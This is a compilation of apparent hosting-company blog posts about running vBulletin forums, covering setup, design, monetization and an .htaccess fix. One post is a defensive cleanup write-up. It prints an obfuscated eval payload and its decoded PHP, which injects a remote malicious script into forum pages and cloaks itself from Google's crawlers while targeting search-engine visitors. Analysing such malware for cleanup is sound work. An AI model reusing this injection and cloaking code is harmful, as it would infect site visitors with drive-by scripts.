Category: "Forum Software"

Using vBulletin to Build Transparency and Community Around Your Brand

Using vBulletin to Build Transparency and Community Around Your Brand

Community is a buzzword that has become more than buzz. The businesses that “get it” are the ones focused on building a community around their brand. They understand that having evangelists and brand advocates is the trump card of real business promotion. Your customers will always be a voice that is listened to. Conversations will occur online. There will be conversations about your business. If you know these conversations are happening anyway, shouldn’t you control the dynamic?

Of course, you want to be at the center of the conversation. That goes without saying. Forums are an ideal solution for community building.  By far, the most popular solution is vBulletin. Not only are forums used to facilitate conversations around a certain topic, they can also be used for customer support, and as a knowledge base or wiki. To help outline the benefits of using vBulletin as a community building tool, we’ve outlined the key benefits of using vBulletin for your business.

1) Your website becomes the hub.

There will be conversations occurring online about your business. They can be both good and bad. You can benefit from having both occur on your website. Of course, you have to understand that creating a community means transparency. It means that, good or bad, what people post will be there for the world to see. The power in having this occur on your website versus somewhere else, is the fact that you can readily respond to negative comments. This creates transparency in the way you do business. 

2) Support issues handled online can be converted to a FAQ or Knowledge base.

If you offer a service or product, undoubtedly you will face issues that need to be resolved. Customers will have questions, people will need help. There is no point in answering the same question more than once. It wastes your time as a business owner, and the customer has to wait for a solution. You can save your time and create a valuable resource at the same time by having a support forum that allows customers to publicly post questions. Once answered, the solution is there for all to see. Plus, once you develop your community, your customers will end up helping each other with problems. You can even follow Dell’s example and create a recognition program for top contributors.

3) Having a forum comes with (SEO) benefits.

Content and engagement both play a major role in ranking. Adding a forum to your website will help you not only build a community, but you’ll also build up plenty of user-created content. This content gets indexed by the search engines the same way a blog post does. In this way, you can field the questions your customers are asking and offer solutions.

4) Crowd-sourcing at your fingertips.

Hosting your own forum also puts you at the forefront of your customers thoughts, gripes, interests, and more. If you have the ear of your customers, you can use your forum to crowd source information and find ways you can improve your product, or create something new.

 

 

 

 

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Installing vBulletin 5 Connect on your shared hosting account.

500 Internal Server Errors have been a big problem when installing vBulletin 5 in a sub-directory.

Example; your installing vBulletin 5 to one of the following directories

/root

– /vbulletin

– /forums (vB5 works well here)

– /Sub Directory domain folder

– /forums (installing vB5 here returns the Internal Server Error)

With a bit of work on the .htaccess file, the problem can be fixed. What you’ll do is adding path information /YourFolderName/ to the your mod_rewrite rules.  Open the .htaccess file that came with your vBulletin package and you should see something like this:

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]

 

#needed because admincp is an actual directory.

RewriteRule ^(admincp/)$ index.php?routestring=$1 [L,QSA]

</IfModule>

First, add your sub-directory folder name to your mod_rewrite rules. I named my sub directory “forums”. That means you need to edit the 5th line from:

RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]

To:

RewriteRule ^(.*)$ /forums/index.php?routestring=$1 [L,QSA]

Then the 7th line from:

RewriteRule ^(admincp/)$ index.php?routestring=$1 [L,QSA]

To:

RewriteRule ^(admincp/)$ /forums/index.php?routestring=$1 [L,QSA]

 

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How to Attract New Users to Your vBulletin Community

How to Attract New Users to Your vBulletin Community
When building a new vBulletin forum, many owners want an easy and fast way to gain more members for their community. Unfortunately there is no quick fix for gaining members, but with these tips you should see an increase in traffic to your site.

One of the first things you should do is create board categories for your forum. By having too many categories it makes your site look empty. When guests see an empty message board, they assume no one uses it anymore and will head elsewhere. People come to these forums as a means to be heard and to communicate with others who are passionate about the same topics they are.

Next, you should keep your website clean and bright. Making your website a pleasant place to visit will keep site visitors coming back for more. For example, if you are targeting an older crowd, you should have easy-to-read fonts on a light color background. This will make your vBulletin community look more professional and will encourage more people to stay and register.

The next thing is a mistake many sites do – they hide content from their website visitors. You should never hide content from guests. Forcing them to register will either cause them to leave and get their answer at another website or have them register for the site to get their answer, but never come back again because it was time consuming. You want to have content that will turn visitors into members. Posting content that is engaging to the reader is an easy way for you to gain members that want to comment and share in the discussion.

Finally, before you advertise your site, you should have some content already generated. New visitors will be more likely to comment on existing posts than generating their own. It will also turn an empty site into one with content, something that is very important for vBulletin forums when they start out.

Whether your next forum site is for business or pleasure, the experts at URL Jet can help get your vBulletin site started. We are the #1 high performance vBulletin hosting leader, offering many different services to fit your needs. From web hosting to hourly back-up solutions, URL Jet does it all. Call us today at 1-888-699-2609.

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Why vBulletin is Here to Stay

When looking for forum software for your website, there are many different options, but the one that stands out the most is vBulletin. vBulletin is a superior way to display your forum. Here are a few reasons why vBulletin is the best way to display your forum:

Professionalism/Styling: vBulletin has many different styles for you to choose from when creating your forum. If you do not like any of them, vBulletin software allows you to create your own styles and themes.

Fast and Efficient: vBulletin was written in PHP, which is a great for forum sites. Many users will notice the difference in the speed and efficiency in your site.

Adsense: vBulletin has integrated Adsense into their program, which is great if you have Adsense Ads on your forum. It’s an easy way to advertise on your forum.

Support and Updates: It is a very stable platform to use your forum on. Whenever a security flaw is detected in vBulletin, it is corrected within 24 hours. The software is constantly being worked on to keep up with the technology around it.

Social Media Integration: vBulletin has options to integrate popular media sites such as Facebook and Twitter into your site. This can help with promotion and attract other users to your website.

With all of these reasons, it’s no wonder vBulletin is here to stay. With such great forum software, you need a great company, such as URL Jet, to host your vBulletin website. We are the #1 high performance vBulletin Hosting Leader. Call our experts today at 1-888-699-2609 or visit our website, http://www.urljet.com/, to see what else we can do for you. Our friendly and professional staff will be happy to answer any questions you may have about your vBulletin hosting project.

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Cleaning up vBulletin Script Injections

Cleaning up vBulletin Script Injections
We’ve run across this hard to find script a few times in the past few weeks. The script set conditions around specific referrers and user-agents. While it’s hard to find, the fix is simple.

It happens like this: a user comes to the forum from a Google search page (SERP) and they are greeted with this payload:
<script type=”text/javascript” src=”http://www.pixxxxoons.org/ijr.js

The script loaded to vBulletin’s headinclude. Now for the fun part- a search of the files did not find it. A Database restore won’t fix it and searching terms representative of encoded values – eval, base_64, etc.. came up blank too.

What happens is the malware rewrites the theme code itself, making detection difficult. We realized this was happening after finding that the site wasn’t responding to two scripts in the headinclude.

The fix is straightforward: the malware installs a plugin “vBulletin_hooks” and loads it globally. All that’s needed is to remove the plugin, reset datastores, and you are done.

If you’re a bit curious and want to check the entire process, start with checking inside the database.

Using PHPMyAdmin, search the entire database for %eval%”.

That search should bring up several entries. We started with the datastore table (“eval” strings there load with the template), and there, we found this looking a bit odd:

$xhTuAS = “\x62?.”\x61?.”\x73?.”\x65?.@eval($xhTuAS(“DQpmdW5jdGlvbiBISGhwZ0h..
zY3JpcHQgdHlwZT1cInRleHQvamF2YXNjcmlwdFwiIHNyYz1cImh0dHA6Ly93d3cucGlzZXptYWt..
+PC9zY3JpcHQ+Iiwkb3V0cHV0KSk7DQp9DQpmdW5jdGlvbiB4ZnJFbHVhKCkgew0KaWYocHJlZ”));

After decoding, we found that it was up to this:

function HHhpgHoev($output) {
$find_me = ‘connection-min.js?v=387?>’;
return ($output = str_replace($find_me,$find_me.”\r\n<script type=\”text/javascript\”
src=\”http://www.pisezmakoons.org/ijr.js? “,$output));
}
function xfrElua() {
if(preg_match(‘#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|…
‘,$_SERVER[‘HTTP_REFERER’])) {
if(preg_match(‘#msie|myie|ie|firefox|opera|media center#i’,$_SERVER[‘HTTP_USER_AGENT’])) return true;
}
}
function kOBFvnrcO() {
$a = array(‘216.239.’,’209.85.’,’173.255.’,’173.194.’,’89.207.’,’74.125.’,…’);
foreach($a as $b) {
if(preg_match(“/^$b/i”,$_SERVER[‘REMOTE_ADDR’])) return true;
}
}
if(!empty($_SERVER[‘HTTP_REFERER’])) {
if(xfrElua() and !kOBFvnrcO()) {
$output = HHhpgHoev($output);
}
}

You know the rest – a lot of work. Luckily, the fix was easy.

You know your site has the infection if you Google it, click on it from the Google search page, and it takes you back to the Google home page.

At URLJet, we offer professional, reliable managed forum hosting for some of the worlds largest forums, including fortune 500 companies and even professional sports teams. vBulletin is all we do, all day, everyday. Trust the vBulletin experts at URLJet to host your vBulletin forum. We guarantee we can run your forum faster, better, and more reliable than anyone… PERIOD! Email us at sales@urljet.com to get started!

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Design Matters: Picking the Best vBulletin Layout for Your Site

Design Matters: Picking the Best vBulletin Layout for Your Site
Chances are you are just starting your vBulletin forum and one of the first things you will have to do is choose a layout. This may seem like a daunting task, but with a few tips you will feel more confident in your site.

When choosing a style for your site, you should choose something that is easy on the eyes. Pick colors that go together, look professional, and fit the time period. Also make sure the style is simple and the information is easy to find. Many people do not like searching and would rather click the back button on their browser than search your site.

With any forum, starting out you get to decide what categories you want for your forum. In addition to this, you will have a few members on your site. Keeping these two things in mind, you should limit the number of categories on your site. To encourage discussion and to turn visitors into members, you should keep them simple and broad. Doing this will keep your forum from looking empty and unappealing. Users go to these sites for discussion and to have their voice heard. If a site looks empty, they will end up going elsewhere. Once you gain members, you can then expand your site.

Finally, you should remember your site’s demographic and try to appeal to them. Think of categories your members would want to talk about. Look at other sites to gain ideas, but remember that you are just starting out, so naturally they will have more members and more categories than you. You can always ask other people in your demographic to see what they want to talk about. The answers may surprise you and could help determine your site layout.

While choosing the right site layout may be difficult, picking the right company to host your vBulletin community is easy. At URL Jet, we are the #1 high performance vBulletin hosting leader. Call us today at 1-888-699-2609 or visit our website, http://www.urljet.com/, to see the other services URL Jet can offer your business.

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Monetizing Forums

Monetizing Your Forum
Forums and message boards have become a big part of the Internet over the last decade and today you can find thousands of different groups gathered to share the latest info on just about any niche topic, passion or pursuit you can think of. The power and global reach of the Internet has made it easier than ever before for like-minded people to get together and thoroughly explore the products, people, places and things that interest them the most.

Although many forums have been born out of a passion for a particular subject or topic, it takes more than passion alone to keep a site up and running actively on the web these days. If you’re a forum owner, you know that it costs money and takes time to run a successful forum. If you’re independently wealthy, or just feel like operating your forum at a loss due to your enthusiasm for a certain niche, that’s fine. However, in the real world most forum owners need a way to recoup their expenses and cover the time spent managing their forums.

Fortunately, there are now a number of different ways forum owners can cover their operating costs and even make a profit in many cases:

  • Paid memberships – Paid memberships can generate income from a two-tiered content system when a forum has good enough free content to attract new members and a level of even better content available only to the paid members. The object is to convert the free visitors into premium or paid members as quickly as possible.
  • Advertising Networks – Advertising networks like Google’s Adsense and the Yahoo! publisher networks are some of the most direct and proven ways to monetize a forum. VigLink is another way of monetizing content with links from targeted content to advertisers. Most forums deal with specific niches and there are many smaller ad networks server these targeted niches. The trick is finding the one best suited to your users needs. Income is earned whenever forum visitors click on the rotating ads that are supplied and maintained by the advertiser network. Depending on a forum’s specific focus, third-party ads alone can often generate enough income to maintain a forum.
  • Advertising – You can sell direct ad space on a forum to potential advertisers that are related in any way to the specific content on your site. There are also programs like OpenX available that will allow you to sell advertisements for specific geographic regions too. Remember that selling ad space also comes along with account management duties like maintaining ad inventory; chasing down late payments; and uploading new ads.
  • Sponsors – Sometimes specific companies with products related to your forum will step up and sponsor your site. Enticements could include “sponsored by” banners, product prizes or even new forum threads dedicated to discussing a company’s product.
  • Affiliates – As an alternative to direct advertising, forums can carry advertisements for affiliate programs that relevant to the forum and can be worked into the discussion threads. Companies or other sites selling products related to a forum niche like books and DVDs are always good potential affiliates.
  • Donations – Sites without a lot of advertising on them can ask for donations after they explain what good purpose or cause the money will be used for. Although most donations are simply usually utilized to run a forum, visitors that do donate can be given special privileges or access to specific content similar to a paid membership in order to sweeten the deal. A Paypal donation button on the site can be a very useful tool when asking for donations.
  • Product Sales – Although direct product sales comes along with the duties of maintaining inventory, collecting payments and shipping, selling products with a shopping cart plug-in on your site can be an effective alternative to affiliate programs or t direct ad sales.
  • Classified Ads – Some of the larger, product-oriented niche forums have had good success with classified advertising sections onsite. If enough members will pay a small fee to advertise their stuff for sale or trade on your site, it can generate significant income.
  • Sell Links – Forum owners can always offer links to other sites for a fee. Third party link brokers like Text Link Ads will handle the details if you wish, or you can sell the links by yourself, and collect the payments and insert the links on your own.

Some methods of monetizing a forum obviously require more work than others. Collecting donations, working with affiliates and hosting Adsense ads are all fairly passive methods of generating cash. Direct advertising or direct product sales are more active methods that will require a bit more work. However, in the end, the methods of monetization you eventually choose will probably depend on the traffic your site gets and the niche it is in.

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Setting Up and Hosting a Forum – It’s Easier than you Think

Setting Up And Hosting A Forum – It’s Easier Than You Think
Many people are intimidated by the idea of starting a web forum because it seems like a daunting task that requires a lot of attention and resources. While it is a very big project to undertake, the process of actually setting it up and hosting it is pretty simple. The real work begins when it comes time to populate your forum and turn it into a lively discussion board that drives traffic, but you’ll never make it to that stage if you don’t take the first step and learn how to set up and host a forum.

Choosing and installing forum software

Web scripts make it extremely easy to set up a functioning website, without them web development would be a nightmare. So, considering how easy it is to set up a blog using a foundation like WordPress, it should be just as simple to set up a forum using the right script.

However, not all forum templates are created equal. You should learn about their varying functionality and extendability to see which one best suits your purposes before installing anything. The main contenders in the world of forums are Phpbb3, MyBB, bbPress, Simple Machines, and a few others. Most of these should be available from your QuickInstall or Fantastico menu depending on your hosting, but you can also download them from their official websites and install them yourself.

Here’s a quick overview of the two forum scripts usually recommended for beginners so you have a general idea of what they’re best for, make sure to do your own research and check out the features of each one.

phpBB3

PhpBB is an open source platform (like many forum packages) that’s been in development since 2000. It boasts one of the most complete feature sets of any forum software and it’s very flexible with a lot of room for customization. This emphasis on micro management can be a hurdle for beginners, but the streamlined GUI makes it easy to digest. The community is large and very active, they are more than happy to help people out with technical issues and they have created a cornucopia of different extensions and modifications. This is one of the most commonly used and reliable platforms and it’s suitable for almost every situation due to its extendability.

MyBB

MyBB was once considered an outsider when it comes to forum software, but it’s proven itself to be one of the most intuitive and easy to use solutions around. It’s open source which is always a plus, there is a huge community behind it and the development team gives it a lot of love with frequent updates. One of the most attractive parts about it is the streamlined administration panel, everything is laid out in a way that makes sense and even a beginner can figure out how to manage their forum just by clicking around on their own. Don’t let its ease of use fool you, MyBB is very powerful and extend-able and some of the largest boards on the net run it. The library of plugins and themes is mammoth and with version 2.0 on the horizon, it shows no signs of slowing down.

Choosing a hosting plan

Forums are a different beast than the average website or blog, the content is created entirely by the users which means that interactivity is a big factor- it’s much more difficult for a server to load a page worth of dynamic forum posts than a regular static article, the information is coming from a variety of sources. The database will be much more complex because it needs to store everything about the users and what they’re doing, which means the more they interact with the site and each other the more power you need from your hosting provider.

A shared hosting plan from one of the bargain hosts isn’t going to cut it, sure they claim to give you ‘unlimited’ resources in a lot of areas but that simply isn’t true- it’s called shared hosting for a reason and those resources are being allocated to other sites as well. It may be fine to start out with a shared plan for testing purposes, but once (if) you start getting traffic you will need to invest in either VPS hosting or reseller hosting at some point to handle the load if you haven’t already.

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